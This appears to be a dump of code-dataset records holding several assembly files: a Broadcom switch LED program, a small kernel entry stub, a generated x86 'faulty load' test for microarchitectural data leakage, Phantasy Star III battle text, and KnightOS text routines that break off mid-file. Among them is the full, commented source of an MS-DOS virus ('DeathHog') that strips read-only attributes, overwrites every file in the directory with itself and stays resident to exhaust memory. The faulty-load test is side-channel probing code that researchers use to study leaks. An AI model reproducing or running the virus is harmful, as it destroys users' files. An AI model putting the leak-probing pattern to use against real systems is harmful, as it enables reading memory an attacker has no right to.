hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
023975cc77046be8b5d4653f72b05bcf4966ae44
8,730
asm
Assembly
sdk-6.5.20/tools/led/example/sdk88270.asm
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
sdk-6.5.20/tools/led/example/sdk88270.asm
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
sdk-6.5.20/tools/led/example/sdk88270.asm
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
; $Id: sdk88270.asm,v 1.2 2015/09/24 06:52:51 junjund Exp $ ; ; This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. ; ; Copyright 2007-2020 Broadcom Inc. All rights reserved. ; ; ;This is an example program for programming the LEDs for 88470 chip. ;This example activates the LEDs on the NEGEV chassis. ; ;Negev chassis configuration: ; In Negev chassis front panel there are 15 ports, 4 x 10G + 1 x 40G + 5 x 10G + 4 x 1G + 1 x 10G ; There are 1 LED processors, The LED processor will activate 15 ports LEDs: ; LED processor 0 - 4 x 10G Eagle (PM0) + ; - 1 x 40G Eagle (PM1) + ; - 5 x 10G Viper Core (PM2,PM3,PM4,PM5,PM6) ; - 4 x 1G Viper Core (PM7) ; - 1 x 10G Viper Core (PM8) ; ; The 14 ports have one single green LED per port. ; The single led will indicate about LINK, TX, RX status. ; led off - link down ; led on - link up and no traffic. ; led blinking - link up and traffic is transmitted/received. ; ; ;led processor DATA RAM configuration: ; ; Offset 0x00-0x7f ; Ports status: maximum 64 ports, 2 bytes per port. ; ; Offset 0x80 (6 bits LED scan chain, requires only 1 byte in data memory) ; LED scan chain assembly ; ; Offset 0xa0 - 0xdf ; Link up/down: maximum 64 ports, one byte per port, only lsb (bit 0) of each byte is valid, ; indicating whether the link is up(1) or down(0). ; Link up/down port data is continuously updated by main CPU's via linkscan module (See $SDK/src/appl/diag/ledproc.c) . ; ; Each led processor can handle maximum 64 ports, indexed 0-63. ; 88270 chip driver use SerDes_port(SerDesID + 1,0 reserved for CPU port ) indexing, SerDes_port are indexed 1-36 (0 reserved for CPU port). ; All port are connect to LED0 chain, ; nif ports 35 is the first) : ; 0->1->2->3 -> 4->5->6->7 -> 8->9->10->11 -> 12->13->14->15 -> ; 16->17->18->19 -> 20->21->22->23 -> 24->25->26->27 -> 28->29->30->31 -> ; 32->33->34->35 ; SerDes port (35 is the first) : ; 0->1->2->3 -> 4->5->6->7 -> 8->9->10->11 -> 12->13->14->15 -> ; 16->17->18->19 -> 20->21->22->23 -> 24->25->26->27 -> 28->29->30->31 -> ; 32->33->34->35 ; Data Ram Index: ; 1->2->3->4 -> 5->6->7 ->8-> 9->10->11->12-> 13->14->15->16 -> ; 17->18->19->20-> 21->22->23->24-> 25->26->27->28-> 29->30->31->32 -> ; 33->34->35->36 ; ; Negev front panel 15 ports are configured as following: ; port block: PM(1 X 10G) PM(4 X 1G) PM(1 X 40G + 5 X 10G) PM0(4 x 10G) ; Led proc: 0 0 0 ; -------------------------------------------------------------------------------------------------- ; SerDes_port: | 33 | | 32 | 30 | | 21 | 13 | 9 | | 4 | 1 | ; ---------------- --------------------------------------------------------------------------------- ; led index: /15\ /14\ \13/ /12\ \11/ /10\ \9/ /8\ \7/ /6\ \5/ /4\ \3/ /2\ \1/ ; -------------------------------------------------------------------------------------------------- ; SerDes_port: | | 31 | 29 | | 25 | 17 | 5 | | 2 | 3 | ; -------------------------------------------------------------------------------------------------- ; ; To get port led processor data ram indexing, "led status" command can be used from BCM shell. ; For example: ;-------------------------- start of program -------------------------- ; Not used in the program, added for declaring ARAD phisical ports range MIN_XE_PORT EQU 1 MAX_XE_PORT EQU 48 ; Device ports ; led processor 0 ;led index port SerDes port PHY_PORT_LED1 EQU 3 ; 3 PHY_PORT_LED2 EQU 1 ; 1 PHY_PORT_LED3 EQU 2 ; 2 PHY_PORT_LED4 EQU 4 ; 4 PHY_PORT_LED5 EQU 5 ; 5 PHY_PORT_LED6 EQU 9 ; 9 PHY_PORT_LED7 EQU 17 ; 17 PHY_PORT_LED8 EQU 13 ; 13 PHY_PORT_LED9 EQU 25 ; 25 PHY_PORT_LED10 EQU 21 ; 21 PHY_PORT_LED11 EQU 29 ; 29 PHY_PORT_LED12 EQU 30 ; 30 PHY_PORT_LED13 EQU 31 ; 31 PHY_PORT_LED14 EQU 32 ; 32 PHY_PORT_LED15 EQU 33 ; 33 NUM_LEDS EQU 15 ;15 ports, 1 LED per port, total 15 bits ; The TX/RX activity lights will blink TICKS_PER_SECOND/TXRX_TICKS per second (30/6 = 5 blinks per second). ; LED program is called 30 times per second TICKS_PER_SECOND EQU (30) TXRX_TICKS EQU (6) ; ; ; Main Update Routine ; ; This routine is called once per tick. ; update: ld a, PHY_PORT_LED1 call update_single_led ld a, PHY_PORT_LED2 call update_single_led ld a, PHY_PORT_LED3 call update_single_led ld a, PHY_PORT_LED4 call update_single_led ld a, PHY_PORT_LED5 call update_single_led ld a, PHY_PORT_LED6 call update_single_led ld a, PHY_PORT_LED7 call update_single_led ld a, PHY_PORT_LED8 call update_single_led ld a, PHY_PORT_LED9 call update_single_led ld a, PHY_PORT_LED10 call update_single_led ld a, PHY_PORT_LED11 call update_single_led ld a, PHY_PORT_LED12 call update_single_led ld a, PHY_PORT_LED13 call update_single_led ld a, PHY_PORT_LED14 call update_single_led ld a, PHY_PORT_LED15 call update_single_led ; Update various timers inc (TXRX_BLINK_COUNT) send NUM_LEDS ; ; link_activity ; ; This routine calculates the activity LED for the current port. ; It extends the activity lights using timers (new activity overrides ; and resets the timers). ; ; Inputs: Port number in register a ; Outputs: one bit sent to LED stream ; link_activity: ; Declaring next pushst commands to refer to port stored in register a port a ; Pushing RX/TX bits (from bit range 0-15) from ports status range (0x02-0x30) to stack pushst RX pushst TX ; Pop 2 bits from stack, ORing these 2 bits and push the result back to stack tor ; Pop 1 bit from stack into Carry flag pop jnc led_on ; in case of No traffic Activity, setting led to on ;jmp led_on ;DEBUG ONLY ; Otherwise (RX/TX activity) blinking the led, deciding whether to turn on or of the led ld b, (TXRX_BLINK_COUNT) ; In case TXRX_TICKS bits are all '0', turning on led. and b, TXRX_TICKS jz led_on jmp led_off ; ; update_single_led ; ; This routine will store one led bit in led chain according to port in register a. ; It uses a, b registers and the carry flag. ; ; Inputs: Port number in register a ; Outputs: one bit sent to LED stream ; update_single_led: ;jmp led_off ;DEBUG ONLY call get_link jnc led_off ; In case carry flag is 1 - Green led off, Link down jmp link_activity ; Otherwize (carry flag is 0) - Green led on , Link up ; ; get_link ; ; This routine stores the link status of register a port into the carry flag. ; Link info input is bit 0 of PORTDATA[port] byte ; ; Inputs: Port number in register a ; Outputs: Carry flag is set(1) if link is up, cleared(0) if link is down. ; Destroys: register b ; get_link: ld b,PORTDATA add b,a ld b,(b) tst b,0 ; Sets Carry flag with content of bit 0 of register b ret ; ; led_off, led_on ; ; Inputs: None ; Outputs: one bit to the LED stream ; Destroys: None ; led_off: ; push 0 to stack pushst ZERO ; pop top bit of stack and add it to the LED scan chain assembly pack ret led_on: ; push 1 to stack pushst ONE ; pop top bit of stack and add it to the LED scan chain assembly pack ret ; ; Variables (SDK software initializes LED memory from 0xa0-0xff to 0) ; TXRX_BLINK_COUNT equ 0xe0 ; Link scan ports data PORTDATA equ 0xa0 ; Size is 36 (ports) bytes ; ; Symbolic names for the bits of the port status fields ; RX equ 0x0 ; received packet TX equ 0x1 ; transmitted packet ZERO equ 0xE ; lsb is 0 ONE equ 0xF ; lsb is 1 ;-------------------------- end of program -------------------------- ; ;This program is 102 bytes in length
31.978022
141
0.555097
5486548e21fe86d9cee309683df653a91d61ed4a
236
asm
Assembly
kernel/kernel/entry.asm
arushsharma24/KSOS
68eac53c81a8c89d02270ff099fd7d94740661a2
[ "MIT" ]
87
2020-04-30T12:05:14.000Z
2022-02-28T03:30:37.000Z
kernel/kernel/entry.asm
arushsharma24/KSOS
68eac53c81a8c89d02270ff099fd7d94740661a2
[ "MIT" ]
14
2020-03-13T14:54:16.000Z
2020-04-19T06:28:56.000Z
kernel/kernel/entry.asm
arushsharma24/KSOS
68eac53c81a8c89d02270ff099fd7d94740661a2
[ "MIT" ]
12
2020-04-29T12:28:38.000Z
2022-02-14T09:06:58.000Z
;This file will be assembled to object format, i.e, elf later [bits 32] extern kmain global _start section .text.entry _start: sub esp,4 ;For the ABI jmp kmain ;We had a call followed by cli,hlt... The kernel takes it up from here
18.153846
70
0.737288
99fb6d2e0cc2019179f24d9bac9860b038f68f43
7,197
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_738.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_738.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_738.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r9 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x600, %rax nop nop nop nop cmp $10014, %rbx mov (%rax), %r9 nop nop nop nop nop dec %rbp lea addresses_UC_ht+0x12670, %r13 nop nop sub $49306, %rbx movb $0x61, (%r13) xor $48240, %rbp lea addresses_UC_ht+0x7270, %rsi lea addresses_UC_ht+0x1c9f0, %rdi nop nop nop nop sub $43009, %r13 mov $109, %rcx rep movsb cmp $43087, %rbp lea addresses_UC_ht+0x3070, %rax nop nop nop nop cmp $50068, %r11 movb $0x61, (%rax) nop sub $16146, %rsi lea addresses_A_ht+0x12440, %r11 nop nop nop nop dec %rbp mov $0x6162636465666768, %rbx movq %rbx, (%r11) nop nop nop nop sub %rdi, %rdi lea addresses_WC_ht+0xebd0, %rcx nop nop nop nop nop sub $62431, %rax mov $0x6162636465666768, %rdi movq %rdi, %xmm0 vmovups %ymm0, (%rcx) nop nop nop nop add $35472, %rdi lea addresses_UC_ht+0x1ba70, %rbx cmp $35725, %rcx mov $0x6162636465666768, %r13 movq %r13, %xmm5 movups %xmm5, (%rbx) nop inc %rax lea addresses_normal_ht+0x18270, %r11 xor $62221, %rbx mov $0x6162636465666768, %r13 movq %r13, %xmm2 movups %xmm2, (%r11) dec %rbp lea addresses_A_ht+0x2c7e, %rsi lea addresses_WC_ht+0x1270, %rdi nop nop nop nop nop xor $36302, %r11 mov $76, %rcx rep movsq nop dec %r11 lea addresses_A_ht+0x4270, %rsi cmp %rcx, %rcx mov $0x6162636465666768, %rbp movq %rbp, (%rsi) nop nop nop nop add %rbp, %rbp lea addresses_D_ht+0x2ab0, %r13 nop dec %rax movl $0x61626364, (%r13) nop nop nop nop nop and %rbx, %rbx lea addresses_normal_ht+0x1e870, %r11 nop nop nop sub %rdi, %rdi movl $0x61626364, (%r11) nop nop nop nop add %rbx, %rbx lea addresses_WC_ht+0x13270, %rbx nop nop dec %rsi mov $0x6162636465666768, %rcx movq %rcx, %xmm6 vmovups %ymm6, (%rbx) nop nop nop nop cmp %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r9 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %rbp push %rcx // Faulty Load lea addresses_WC+0xfa70, %r15 nop nop nop nop and %rbp, %rbp mov (%r15), %cx lea oracles, %r13 and $0xff, %rcx shlq $12, %rcx mov (%r13,%rcx,1), %rcx pop %rcx pop %rbp pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': True, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 0}, 'dst': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': True, 'AVXalign': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.936893
2,999
0.659164
8c7d617cb2d1827b786f2de09fee27b14c9e73a6
1,380
asm
Assembly
inc/battle_msgs.asm
hansbonini/-SMD-Phantasy-Star-3
f20106a0f8cc76b859124333a5482e015e052769
[ "MIT" ]
1
2022-01-17T16:06:15.000Z
2022-01-17T16:06:15.000Z
inc/battle_msgs.asm
hansbonini/-SMD-Phantasy-Star-3
f20106a0f8cc76b859124333a5482e015e052769
[ "MIT" ]
null
null
null
inc/battle_msgs.asm
hansbonini/-SMD-Phantasy-Star-3
f20106a0f8cc76b859124333a5482e015e052769
[ "MIT" ]
null
null
null
loc_3D90A: dc.b "You've been ambushed!" dc.b $FC loc_3D920: dc.b "You surprise the monster" dc.b $FC BattleRunAttemptMsg: dc.b "You try to escape..." dc.b $FC loc_3D94E: dc.b "But you can't get away!" dc.b $FC loc_3D966: dc.s character, " attacks!" dc.b $FC loc_3D972: dc.s "Damage ", quantity dc.b $FC loc_3D97C: dc.s character, "'s party won." dc.b $F8 dc.s "Earned ", quantity, " XP" dc.b $F8 dc.s "and ", money_qty, " meseta." dc.b $FC loc_3D9A8: dc.s character, " won." dc.b $F8 dc.s "Earned ", quantity, " XP" dc.b $F8 dc.s "and ", money_qty, " meseta." dc.b $FC loc_3D9CC: dc.s character, " gained a level!" dc.b $FC loc_3D9DF: dc.s character, " has no weapon!" dc.b $FC loc_3D9F1: dc.s character, " defended ", name, "." dc.b $FC loc_3DA01: dc.s character, "'s defense increasd." dc.b $FC loc_3DA18: dc.s character, " has no techniques." dc.b $FC loc_3DA2E: dc.b "Not enough Tech Pts." dc.b $FC loc_3DA43: dc.b "You can't use that." dc.b $FC loc_3DA57: dc.s character, " used ", name, "." dc.b $FC loc_3DA63: dc.s "Effectiveness is ", quantity, "." dc.b $FC loc_3DA78: dc.s character, " can no longer fight" dc.b $FC loc_3DA8F: dc.b "You have been defeated." dc.b $FC loc_3DAA7: dc.s character, " has been poisoned." dc.b $FC loc_3DABD: dc.b "Succeeded!" dc.b $FC loc_3DAC8: dc.b "Failed!" dc.b $FC
14.375
40
0.635507
e757283ead2d234ee176408544cd6c3990a9adbd
2,777
asm
Assembly
kernel/input/inputlimit.asm
paulscottrobson/eris
cf102530334ed86360deb20f0e41af1e10f5d584
[ "MIT" ]
13
2020-03-31T08:21:22.000Z
2021-07-28T20:03:29.000Z
kernel/input/inputlimit.asm
paulscottrobson/eris
cf102530334ed86360deb20f0e41af1e10f5d584
[ "MIT" ]
37
2020-03-31T06:35:37.000Z
2020-09-17T08:56:48.000Z
kernel/input/inputlimit.asm
paulscottrobson/eris
cf102530334ed86360deb20f0e41af1e10f5d584
[ "MIT" ]
5
2020-05-10T10:23:06.000Z
2022-01-14T02:21:02.000Z
; ***************************************************************************** ; ***************************************************************************** ; ; Name: inputlimit.asm ; Purpose: Short Line Input code ; Created: 12th March 2020 ; Reviewed: 16th March 2020 ; Author: Paul Robson (paul@robsons.org.uk) ; ; ***************************************************************************** ; ***************************************************************************** ; ***************************************************************************** ; ; Input to the string at R0 , maximum length R1 , in ; compressed format. Only control keys allowed are BS/RET ; ; ***************************************************************************** .OSXInputLimit push r0,r1,r2,r3,link mov r2,r0,#0 ; put the target address in R2 stm r14,r2,#0 ; erase the target string. ._OSLILoop jsr #OSCursorGet ; get next character -> R3 mov r3,r0,#0 xor r0,#13 ; exit if CRLF sknz r0 jmp #_OSLIExit xor r0,#13^8 ; if BS do backspace code. sknz r0 jmp #_OSLIBackspace and r0,#$00E0 ; check >= 32 e.g. not control, this is text only sknz r0 jmp #_OSLILoop ; ldm r0,r2,#0 ; get current length xor r0,r1,#0 ; at maximum already ? sknz r0 jmp #_OSLILoop ; if so reject ; mov r0,r3,#0 ; print the character jsr #OSPrintCharacter jsr #_OSLIWriteCurrent ; write the character to the current slot. ldm r0,r2,#0 ; next character inc r0 stm r0,r2,#0 jmp #_OSLILoop ; ; Handle backspace ; ._OSLIBackspace ldm r0,r2,#0 ; get current length sknz r0 ; cannot backspace at start so go back to the top jmp #_OSLILoop mov r0,#8 ; print a backspace jsr #OSPrintCharacter ldm r0,r2,#0 ; previous character dec r0 stm r0,r2,#0 clr r0 ; erase the character there to $00 again jsr #_OSLIWriteCurrent jmp #_OSLILoop ; ; Handle CR ; ._OSLIExit mov r0,#13 ; just prints CR jsr #OSPrintCharacter pop r0,r1,r2,r3,link ret ; ; Write byte R0 to current slot in string at R2 ; slot is indicated by length at (R2) ; ._OSLIWriteCurrent push r0,r1,r3 ldm r1,r2,#0 ; count / 2 -> R1 ror r1,#1 mov r3,r1,#0 ; R3 has selector bit in R3.15 and r1,#$7FFF ; R1 is an offset add r1,r2,#1 ; R1 now offset to the character in question skm r3 ; if odd, shift 8 left and add to current jmp #_OSLIWriteExit ; if even, just write out ; ldm r3,r1,#0 ; get current and r3,#$00FF ; clear the MSB ror r0,#8 ; put in MSB add r0,r3,#0 ._OSLIWriteExit stm r0,r1,#0 pop r0,r1,r3 ret
29.860215
86
0.503421
96ec3db69247abd68576848f7fb24d07ccec044c
2,225
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.mini-68.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.mini-68.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.mini-68.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
; DeathHog, (will defeat read-only files and appends itself to all ; files) ; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ ; r/w access, nuisance routines supplied by KOUCH ; ; Appended by Kouch, derived from DeathCow/Define (author unknown) virus_length equ finish - start code segment 'CODE' assume cs:code,ds:code,es:code,ss:code org 0100h start label near main proc near mov ah,04Eh ; DOS find first file function mov dx,offset file_spec ; DX points to "*.*" - any file int 021h infect_file : mov ah,43H ;the beginning of this mov al,0 ;routine gets the file's mov dx,09Eh ;attribute and changes it int 21H ;to r/w access so that when ;it comes time to open the mov ah,43H ;file, the virus can easily mov al,1 ;defeat files with a 'read only' mov dx,09Eh ;attribute. It leaves the file r/w, mov cl,0 ;because who checks that, anyway? int 21H mov ax,03D01h ; DOS open file function, write-only mov dx,09Eh ; DX points to the found file int 021h xchg bx,ax ; BX holds file handle mov ah,040h ; DOS write to file function mov cl,virus_length ; CL holds # of bytes to write mov dx,offset main ; DX points to start of code int 021h mov ah,03Eh ; DOS close file function int 021h mov ah,04Fh ; DOS find next file function int 021h jnc infect_file ; Infect next file, if found mov ah,31h ;insert 480K memory balloon mov dx,7530h ;for nuisance value int 21H ;it's big enough so 'out of ;memory' messages will start cropping up quickly ; RETurn to DOS file_spec db "*.*",0 ; Files to infect: apped to all files main endp finish label near code ends end main
34.230769
84
0.53573
a89cfb7ba1ea658edcf31c31cd154ff98188a96e
574
asm
Assembly
programs/oeis/005/A005571.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/005/A005571.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/005/A005571.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A005571: Number of walks on cubic lattice. ; 76,288,700,1376,2380,3776,5628,8000,10956,14560,18876,23968,29900,36736,44540,53376,63308,74400,86716,100320,115276,131648,149500,168896,189900,212576,236988,263200,291276,321280,353276,387328,423500,461856,502460,545376 mov $6,$0 mul $0,2 add $0,5 mov $2,5 add $2,$0 mov $3,6 mov $4,$0 sub $0,2 mov $5,1 add $5,$4 add $5,5 lpb $0 sub $0,1 add $3,$2 add $2,$1 mov $1,5 sub $2,4 mov $4,2 add $5,5 add $2,$5 lpe mov $1,3 sub $3,$4 mov $4,$3 add $4,1 add $1,$4 lpb $6 add $1,8 sub $6,1 lpe sub $1,8 mov $0,$1
15.944444
222
0.649826
66bf370d6780367ae61d4a81796a9925539d6b29
15,464
asm
Assembly
src/01/text.asm
unlimitedbacon/kernel
ddabec11adcab18d9db3049f90ce9ee892175214
[ "MIT" ]
251
2015-01-08T17:46:33.000Z
2022-03-30T07:51:17.000Z
src/01/text.asm
unlimitedbacon/kernel
ddabec11adcab18d9db3049f90ce9ee892175214
[ "MIT" ]
32
2015-01-16T08:47:29.000Z
2020-01-30T18:31:21.000Z
src/01/text.asm
unlimitedbacon/kernel
ddabec11adcab18d9db3049f90ce9ee892175214
[ "MIT" ]
35
2015-01-27T18:23:57.000Z
2022-02-26T19:47:08.000Z
; Text functions for kernel ;; newline [Text] ;; Advances D, E to the next line of text ;; Inputs: ;; D, E: X, Y ;; B: Left margin ;; Outputs: ;; D, E: Moved down one line and to the left margin ;; Notes: ;; This is identical to (but faster than) calling drawChar with '\n' newline: push af ld a, e add a, 6 ld e, a ld d, b pop af ret wrapChar: push ix ld ixl, 0 call wrapCharShared pop ix ret wrapCharAND: push ix ld ixl, 1 call wrapCharShared pop ix ret wrapCharXOR: push ix ld ixl, 2 call wrapCharShared pop ix ret ;; drawChar [Text] ;; Draws a character to the screen buffer using OR logic (turns pixels ON). ;; Inputs: ;; IY: Screen buffer ;; A: Character to print ;; D, E: X, Y ;; B: Left margin ;; Outputs: ;; D, E: Moved to next character position ;; Notes: ;; The left margin is only required if your string contains newlines or carriage returns. drawChar: push ix ld ixl, 0 call drawCharShared pop ix ret ;; drawCharAND [Text] ;; Draws a character to the screen buffer using AND logic (turns pixels OFF). ;; Inputs: ;; IY: Screen buffer ;; A: Character to print ;; D, E: X, Y ;; B: Left margin ;; Outputs: ;; D, E: Moved to next character position ;; Notes: ;; The left margin is only required if your string contains newlines or carriage returns. drawCharAND: push ix ld ixl, 1 call drawCharShared pop ix ret ;; drawCharXOR [Text] ;; Draws a character to the screen 